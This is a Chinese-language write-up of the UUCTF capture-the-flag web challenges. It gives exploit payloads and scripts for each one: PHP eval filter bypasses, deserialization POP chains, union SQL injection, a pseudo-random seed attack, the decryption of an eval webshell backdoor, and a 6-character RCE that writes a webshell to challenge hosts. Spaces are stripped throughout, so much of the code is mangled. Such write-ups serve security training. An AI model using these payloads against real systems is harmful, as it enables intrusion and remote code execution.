目录<1>Web(1)websign(禁用js绕过)(2)ez_rce(?>闭合`rce`)(3)ez_unser(引用传递)(4)ez_upload(apache后缀解析漏洞)(5)ezsql(union注入)(6)funmd5(代码审计绕过preg_replace)(7)phonecode(伪随机数漏洞)(8)ezpop(反序列化字符串逃逸)(9)backdoor(tonyenc加密&IDA逆向so文件)(10)ezrce(限制6字符RCE)方法1方法二(11)uploadandinject(LD_PRELOAD劫持)
<1>Web
(1)websign(禁用js绕过)
禁用了右键与ctrlU我们提前打开F12然后再访问,即可看见源码
(2)ez_rce(?>闭合`rce`)
<?php##放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????if(isset($_GET['code'])){$code=$_GET['code'];if(!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){echo'看看你输入的参数!!!不叫样子!!';echo'<br>';eval($code);}else{die("你想干什么?????????");}}else{echo"居然都不输入参数,可恶!!!!!!!!!";show_source(__FILE__);}没有过滤<>?\/可以?>闭合
?code=?><?=`l\s`?>得到flag文件名称:fffffffffflagafag
rev和nl没有被过滤利用此读取flag文件
?code=?><?=`nl/fffffffffflagafag`?>
(3)ez_unser(引用传递)
<?phpshow_source(__FILE__);###very___so___easy!!!!classtest{public$a;public$b;public$c;publicfunction__construct(){$this->a=1;$this->b=2;$this->c=3;}publicfunction__wakeup(){$this->a='';}publicfunction__destruct(){$this->b=$this->c;eval($this->a);}}$a=$_GET['a'];if(!preg_match('/test":3/i',$a)){die("你输入的不正确!!!搞什么!!");}$bbb=unserialize($_GET['a']);反序列化,从正则上看preg_match('/test":3/i',$a)即我们传入的序列化数据不能通过修改属性个数来绕过wakeup
这道题和之前ISCTF比赛的猫和老鼠类似,可以用引用地址传递
exp:
<?phpclasstest{public$a;public$b;public$c;}$A=newtest();$A->a=&$A->b;$A->c="system('cat/fffffffffflagafag');";echoserialize($A);?>(4)ez_upload(apache后缀解析漏洞)
(5)ezsql(union注入)
简单union注入,不过是把字符串反向了过滤了or
union注入:
?user=admin&password=#2,1tcelesnoinu)'1
即:SELECT*FROMusersWHEREpasswd=('1')unionselect1,2#')ANDusername=('nimda')LIMIT0,1得知有两列,回显为1和2
过滤了or,所以原先是ro的词,双写绕过rroo
?user=admin&password=#)(esabatad=amehcs_elbaterehwselbat.amehcs_noitamrofnimoorrf)eman_elbat(tacnoc_puoorrg,1tcelesnoinu)'1
即:SELECT*FROMusersWHEREpasswd=('1')unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()#')ANDusername=('nimda')LIMIT0,1
得到flag表
查询flag表字段
?user=admin&password=#'galf'=eman_elbatdna)(esabatad=amehcs_elbaterehwsnmuloc.amehcs_noitamrofnimoorrf)eman_nmuloc(tacnoc_puoorrg,1tcelesnoinu)'1
即:SELECT*FROMusersWHEREpasswd=('1')unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_schema=database()andtable_name='flag'#')ANDusername=('nimda')LIMIT0,1
得到UUCTF
?user=admin&password=#galfmoorrfFTCUU,1tcelesnoinu)'1
即:SELECT*FROMusersWHEREpasswd=('1')unionselect1,UUCTFfromflag#')ANDusername=('nimda')LIMIT0,1
得到flag
(6)funmd5(代码审计绕过preg_replace)
<?phperror_reporting(0);include"flag.php";$time=time();$guessmd5=md5($time);$md5=$_GET["md5"];if(isset($md5)){$sub=substr($time,-1);$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);if(preg_match('/0e/',$md5[0])){$md5[0]=substr($md5[0],$sub);if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){echo"well!youwinagain!nowflagisyours.<br>";echo$flag;}else{echo$md5[0];echo"oh!no!maybeyouneedlearnmorePHP!";}}else{echo"thisisyourmd5:$md5[0]<br>";echo"maybeyouneedmorethinkthink!";}}else{highlight_file(__FILE__);$sub=strlen($md5[0]);echosubstr($guessmd5,0,5)."<br>";echo"plasegivemethemd5!";}?>8b17e$md5=preg_replace('/^(.)0e(.)$/','${1}no_science_notation!${2}',$md5);if(preg_match('/0e/',$md5[0]))
这两个里的条件是矛盾的,但是我们可以绕过preg_replace函数,同时传入的md5[0]要满足
$md5[0]==md5($md5[0]很常见的md5考点,弱类型比较0e215962017MD5加密后还是0e开头。
因此md5[0]应该传入0e215962017,但是我们又多了一个换行符,通过上面这行代码$md5[0]=substr($md5[0],$sub);
可以在$sub=1的时候,执行会达到删去的作用
而$sub=substr($time,-1);$sub由$time决定,$sub为$time的最后一位。
要得到flag,要满足的第二个条件为:$md5[1]===$guessmd5手动比较慢,赶不上时间,因此需要写一个python脚本
如下:
importrequestsimporttimeimporthashlibs=requests.session()whileTrue:url="http://43.143.7.127:28150/?md5[0]=0e215962017&md5[1]={}".format(hashlib.md5(str(int(time.time())).encode('utf-8')).hexdigest())res=s.get(url=url).textprint(res)if'well'inres:print(res)breaktime.sleep(0.5)(7)phonecode(伪随机数漏洞)
结合这句话,可以联想到mt_rand()和mt_srand()随机数种子,发包得到hint,
phone不同,hint不同
猜测phone为种子,hint为其中的伪随机数序列
phone为1时,hint:895547922印证了刚才的想法
<?phpmt_srand(1);echomt_rand()."<br/>";#895547922echomt_rand()."<br/>";#2141438069echomt_rand()."<br/>";#1546885062echomt_rand()."<br/>";#2002651684?>我们传入code为下一个随机数试一试得到flag
(8)ezpop(反序列化字符串逃逸)
<?php//flaginflag.phperror_reporting(0);classUUCTF{public$name,$key,$basedata,$ob;function__construct($str){$this->name=$str;}function__wakeup(){if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}else{die("oh!youshouldlearnPHPunserializeStringescape!");}}}classoutput{public$a;function__toString(){$this->a->rce();}}classnothing{public$a;public$b;public$t;function__wakeup(){$this->a="";}function__destruct(){$this->b=$this->t;die($this->a);}}classyouwant{public$cmd;functionrce(){eval($this->cmd);}}$pdata=$_POST["data"];if(isset($pdata)){$data=serialize(newUUCTF($pdata));$data_replace=str_replace("hacker","loveuu!",$data);unserialize($data_replace);}else{highlight_file(__FILE__);}?>data参数可控,然后post会传入data之后,$data会new一个UUCTF类的实例对象,替换掉hacker为loveuu!,再进行反序列化
先正常传入data=jack,则$data应该为:
O:5:"UUCTF":4:{s:4:"name";s:4:"jack";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
其中标红的是我们可控的参数
开始代码审计,在youwant类我们可以通过rce方法,实现命令执行,以此读flag,
现在找链子:
UUCTF::nothing::__destruct()->output::__toString()->youwant::rce
流程即:我们通过传入的data参数,构造把后面的逃逸掉,构造新的序列化串
O:5:"UUCTF":4:{s:4:"name";s:4:"构造的";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
unserialize($data_replace);这一段代码是为了触发UUCTF的__wakeup(),我们需要真正利用的是__wakeup()函数里,满足$this->key==="UUCTF"条件后,执行的unserialize(base64_decode($this->basedata));
exp如下:
<?php//flaginflag.phperror_reporting(0);classoutput{public$a;}classnothing{public$a;public$b;public$t;function__wakeup(){$this->a="";}function__destruct(){$this->b=$this->t;die($this->a);}}classyouwant{public$cmd="system('catflag.php');";}$A=newnothing();$A->a=&$A->b;$A->t=newoutput();$A->t->a=newyouwant();$basedata=base64_encode(serialize($A));$data='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';$hacker='';for($i=0;$i<strlen($data);$i)$hacker.='hacker';echo$hacker.$data;?>得到:Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19
所以构造的序列化串应为:
O:5:"UUCTF":4:{s:4:"name";s:4:"";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
但是我们要满足前面的s:*:"构造的"长度*为我们构造的串的长度,一个hacker换为loveuu!可以逃逸出一个字符,红色串总长为236,因此需要236个hacker
最终查看源码,得到flag
(9)backdoor(tonyenc加密&IDA逆向so文件)
布里茨贼猛lol里机器人叫布里茨,联想到robots.txt
看见www.zip,存在备份文件泄露下载下来backdoor.php结合文件名称,应该是被加密的后门
还有一个so.so文件看其他师傅wp,此题需要逆向的知识
IDA逆向.so文件
so文件是Linux下向当于Windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据
发现了tonyenc_encode加密代码
双击代码里的tonyenc_key得到header和key的十六进制数据
百度搜索后得知
tonyenc是一个简洁、高性能、跨平台的PHP7代码加密扩展,可以加密php文件内容,PHP在运行它们时会自动解密
Github上的地址为:GitHub-lihancong/tonyenc:高性能、跨平台的PHP7代码加密扩展(Ahighperformanceandcross-platformencryptextensionforPHPsourcecode)
贴上yb0os1师傅根据源码写的解密脚本:
importbase64header=[0x66,0x88,0xff,0x4f,0x68,0x86,0x00,0x56,0x11,0x61,0x16,0x18,]key=[0x9f,0x58,0x54,0x00,0x58,0x9f,0xff,0x23,0x8e,0xfe,0xea,0xfa,0xa6,0x35,0xf3,0xc6]defdecode(data,len):p=0foriinrange(0,len):if(i&1):p=key[p]i;p%=16;t=key[p];data[i]=~data[i]^t;ifdata[i]<0:data[i]=data[i]256decode="".join([chr(c)forcindata])returndecodeencodefile=open('backdoor.php',"rb")base64_encodestr=base64.b64encode(encodefile.read())convert=[cforcinbase64.b64decode(base64_encodestr)]delconvert[0:len(header)]print(str(decode(convert,len(convert))))解密得到backdoor.php文件内容为<?php@eval($_POST['1af4d803']);?>
(10)ezrce(限制6字符RCE)
题目描述:这是一个命令执行接口
方法1
>nl
执行后,会创建名为nl的文件
*/*>d
意思就是nl/*>f第一个*就是将ls列出文件名第一个当作命令其他当作参数即nl/*>d
方法二
>a在Linux会创建一个叫a的文件
*>v会将ls列出的第一个文件名当作命令其余当作参数执行
*v>0等价于revv>0反转
sh0将0文件的内容当作命令执行
ls-th按照文件的创建时间(后创建先列出)ls-t就可以这里加上h是为了按照slht-f\>排列
linux下换行执行命令:
ech\
o\
111
贴上yb0os1师傅的脚本:tql
url="http://43.142.108.3:28933/post.php"print("[]startattack!!!")withopen("5字符RCE.txt","r")asf:foriinf:data={"cmd":f"{i.strip()}"}requests.post(url=url,data=data)resp=requests.get("http://43.142.108.3:28933/tmp/1.php")ifresp.status_code==requests.codes.ok:print("[*]Attacksuccess!!!")5字符RCE.txt>dir>sl>ht->f\>*>v>rev*v>0>hp>1.p\\>d\>\\>\-\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\\\>ech\\sh0shf(11)uploadandinject(LD_PRELOAD劫持)
下面准备开一章LD_PRELOAD,仔细研究一下,这道题就写下一篇里吧